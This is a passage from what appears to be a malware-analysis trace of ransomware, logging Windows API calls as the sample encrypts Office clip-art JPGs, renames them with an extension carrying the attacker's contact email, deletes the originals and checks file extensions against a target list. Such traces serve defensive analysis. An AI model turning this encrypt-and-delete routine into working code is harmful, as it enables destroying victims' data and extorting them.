office\\root\\clipart\\pub60cor\\j0315612.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0172.394] GetLastError () returned 0x0 [0172.394] ReadFile (in: hFile=0x3a8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x423a, lpOverlapped=0x0) returned 1 [0172.396] WriteFile (in: hFile=0x38c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x4240, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x4240, lpOverlapped=0x0) returned 1 [0172.396] ReadFile (in: hFile=0x3a8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.396] WriteFile (in: hFile=0x38c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.397] SetEndOfFile (hFile=0x38c) returned 1 [0172.399] CloseHandle (hObject=0x38c) returned 1 [0172.401] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.401] SetEndOfFile (hFile=0x3a8) returned 1 [0172.406] CloseHandle (hObject=0x3a8) returned 1 [0172.407] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315612.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.407] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315612.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0315612.jpg")) returned 1 [0172.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315612.JPG") returned 68 [0172.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315612.JPG") returned 68 [0172.409] lstrlenW (lpString=".doc") returned 4 [0172.409] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.409] lstrlenW (lpString=".docx") returned 5 [0172.409] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0172.409] lstrlenW (lpString=".pdf") returned 4 [0172.409] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.409] lstrlenW (lpString=".xls") returned 4 [0172.409] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.409] lstrlenW (lpString=".xlsx") returned 5 [0172.409] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0172.409] lstrlenW (lpString=".ppt") returned 4 [0172.409] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315612.JPG") returned 68 [0172.409] lstrlenW (lpString=".zip") returned 4 [0172.409] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.409] lstrlenW (lpString=".rar") returned 4 [0172.409] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.409] lstrlenW (lpString=".bz2") returned 4 [0172.409] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.409] lstrlenW (lpString=".7z") returned 3 [0172.409] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315612.JPG") returned 68 [0172.409] lstrlenW (lpString=".dbf") returned 4 [0172.409] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315612.JPG") returned 68 [0172.409] lstrlenW (lpString=".1cd") returned 4 [0172.409] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315612.JPG") returned 68 [0172.409] lstrlenW (lpString=".jpg") returned 4 [0172.409] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315612.JPG") returned 68 [0172.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315612.JPG") returned 68 [0172.409] lstrlenW (lpString=".doc") returned 4 [0172.410] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.410] lstrlenW (lpString=".docx") returned 5 [0172.410] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0172.410] lstrlenW (lpString=".pdf") returned 4 [0172.410] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.410] lstrlenW (lpString=".xls") returned 4 [0172.410] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.410] lstrlenW (lpString=".xlsx") returned 5 [0172.410] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0172.410] lstrlenW (lpString=".ppt") returned 4 [0172.410] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315612.JPG") returned 68 [0172.410] lstrlenW (lpString=".zip") returned 4 [0172.410] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.410] lstrlenW (lpString=".rar") returned 4 [0172.410] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.410] lstrlenW (lpString=".bz2") returned 4 [0172.410] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.410] lstrlenW (lpString=".7z") returned 3 [0172.410] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315612.JPG") returned 68 [0172.410] lstrlenW (lpString=".dbf") returned 4 [0172.410] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315612.JPG") returned 68 [0172.410] lstrlenW (lpString=".1cd") returned 4 [0172.410] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315612.JPG") returned 68 [0172.410] lstrlenW (lpString=".jpg") returned 4 [0172.410] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.410] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0172.410] lstrlenW (lpString="J0321179.JPG") returned 12 [0172.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0321179.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0321179.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0172.411] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=9431) returned 1 [0172.411] CloseHandle (hObject=0x308) returned 1 [0172.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0321179.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0321179.jpg")) returned 0x220 [0172.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0321179.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0321179.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0321179.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0321179.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0172.418] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.418] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0321179.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0321179.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0172.426] GetLastError () returned 0x0 [0172.426] ReadFile (in: hFile=0x394, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x24d7, lpOverlapped=0x0) returned 1 [0172.427] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x24e0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x24e0, lpOverlapped=0x0) returned 1 [0172.428] ReadFile (in: hFile=0x394, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.428] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.428] SetEndOfFile (hFile=0x368) returned 1 [0172.430] CloseHandle (hObject=0x368) returned 1 [0172.431] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.431] SetEndOfFile (hFile=0x394) returned 1 [0172.435] CloseHandle (hObject=0x394) returned 1 [0172.438] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0321179.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.438] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0321179.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0321179.jpg")) returned 1 [0172.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0321179.JPG") returned 68 [0172.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0321179.JPG") returned 68 [0172.439] lstrlenW (lpString=".doc") returned 4 [0172.439] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.439] lstrlenW (lpString=".docx") returned 5 [0172.439] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0172.439] lstrlenW (lpString=".pdf") returned 4 [0172.439] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.439] lstrlenW (lpString=".xls") returned 4 [0172.439] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.439] lstrlenW (lpString=".xlsx") returned 5 [0172.439] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0172.439] lstrlenW (lpString=".ppt") returned 4 [0172.439] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0321179.JPG") returned 68 [0172.439] lstrlenW (lpString=".zip") returned 4 [0172.439] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.439] lstrlenW (lpString=".rar") returned 4 [0172.439] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.439] lstrlenW (lpString=".bz2") returned 4 [0172.439] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.439] lstrlenW (lpString=".7z") returned 3 [0172.439] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0321179.JPG") returned 68 [0172.439] lstrlenW (lpString=".dbf") returned 4 [0172.439] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0321179.JPG") returned 68 [0172.440] lstrlenW (lpString=".1cd") returned 4 [0172.440] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0321179.JPG") returned 68 [0172.440] lstrlenW (lpString=".jpg") returned 4 [0172.440] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0321179.JPG") returned 68 [0172.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0321179.JPG") returned 68 [0172.440] lstrlenW (lpString=".doc") returned 4 [0172.440] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.440] lstrlenW (lpString=".docx") returned 5 [0172.440] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0172.440] lstrlenW (lpString=".pdf") returned 4 [0172.440] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.440] lstrlenW (lpString=".xls") returned 4 [0172.440] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.440] lstrlenW (lpString=".xlsx") returned 5 [0172.440] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0172.440] lstrlenW (lpString=".ppt") returned 4 [0172.440] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0321179.JPG") returned 68 [0172.440] lstrlenW (lpString=".zip") returned 4 [0172.440] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.440] lstrlenW (lpString=".rar") returned 4 [0172.440] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.440] lstrlenW (lpString=".bz2") returned 4 [0172.440] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.440] lstrlenW (lpString=".7z") returned 3 [0172.440] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0321179.JPG") returned 68 [0172.440] lstrlenW (lpString=".dbf") returned 4 [0172.440] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0321179.JPG") returned 68 [0172.440] lstrlenW (lpString=".1cd") returned 4 [0172.440] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0321179.JPG") returned 68 [0172.440] lstrlenW (lpString=".jpg") returned 4 [0172.440] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.440] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0172.440] lstrlenW (lpString="J0341328.JPG") returned 12 [0172.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341328.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341328.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0172.444] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=10196) returned 1 [0172.444] CloseHandle (hObject=0x3a8) returned 1 [0172.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341328.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341328.jpg")) returned 0x220 [0172.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341328.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341328.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341328.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341328.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0172.450] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.450] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341328.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341328.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0172.456] GetLastError () returned 0x0 [0172.456] ReadFile (in: hFile=0x394, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x27d4, lpOverlapped=0x0) returned 1 [0172.459] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x27e0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x27e0, lpOverlapped=0x0) returned 1 [0172.460] ReadFile (in: hFile=0x394, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.460] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.460] SetEndOfFile (hFile=0x368) returned 1 [0172.462] CloseHandle (hObject=0x368) returned 1 [0172.467] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.467] SetEndOfFile (hFile=0x394) returned 1 [0172.471] CloseHandle (hObject=0x394) returned 1 [0172.476] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341328.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.476] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341328.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341328.jpg")) returned 1 [0172.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341328.JPG") returned 68 [0172.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341328.JPG") returned 68 [0172.478] lstrlenW (lpString=".doc") returned 4 [0172.478] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.478] lstrlenW (lpString=".docx") returned 5 [0172.478] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0172.478] lstrlenW (lpString=".pdf") returned 4 [0172.478] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.478] lstrlenW (lpString=".xls") returned 4 [0172.478] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.478] lstrlenW (lpString=".xlsx") returned 5 [0172.478] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0172.478] lstrlenW (lpString=".ppt") returned 4 [0172.478] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341328.JPG") returned 68 [0172.478] lstrlenW (lpString=".zip") returned 4 [0172.478] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.478] lstrlenW (lpString=".rar") returned 4 [0172.478] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.478] lstrlenW (lpString=".bz2") returned 4 [0172.478] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.478] lstrlenW (lpString=".7z") returned 3 [0172.478] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341328.JPG") returned 68 [0172.478] lstrlenW (lpString=".dbf") returned 4 [0172.478] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341328.JPG") returned 68 [0172.478] lstrlenW (lpString=".1cd") returned 4 [0172.478] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341328.JPG") returned 68 [0172.478] lstrlenW (lpString=".jpg") returned 4 [0172.478] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341328.JPG") returned 68 [0172.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341328.JPG") returned 68 [0172.478] lstrlenW (lpString=".doc") returned 4 [0172.478] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.479] lstrlenW (lpString=".docx") returned 5 [0172.479] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0172.479] lstrlenW (lpString=".pdf") returned 4 [0172.479] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.479] lstrlenW (lpString=".xls") returned 4 [0172.479] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.479] lstrlenW (lpString=".xlsx") returned 5 [0172.479] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0172.479] lstrlenW (lpString=".ppt") returned 4 [0172.479] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341328.JPG") returned 68 [0172.479] lstrlenW (lpString=".zip") returned 4 [0172.479] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.479] lstrlenW (lpString=".rar") returned 4 [0172.479] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.479] lstrlenW (lpString=".bz2") returned 4 [0172.479] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.479] lstrlenW (lpString=".7z") returned 3 [0172.479] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341328.JPG") returned 68 [0172.479] lstrlenW (lpString=".dbf") returned 4 [0172.479] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341328.JPG") returned 68 [0172.479] lstrlenW (lpString=".1cd") returned 4 [0172.479] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341328.JPG") returned 68 [0172.479] lstrlenW (lpString=".jpg") returned 4 [0172.479] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.479] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0172.479] lstrlenW (lpString="J0341448.JPG") returned 12 [0172.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341448.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341448.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0172.484] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=21187) returned 1 [0172.484] CloseHandle (hObject=0x38c) returned 1 [0172.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341448.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341448.jpg")) returned 0x220 [0172.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341448.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341448.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341448.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341448.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0172.494] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.494] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341448.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341448.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0172.498] GetLastError () returned 0x0 [0172.499] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x52c3, lpOverlapped=0x0) returned 1 [0172.501] WriteFile (in: hFile=0x388, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x52d0, 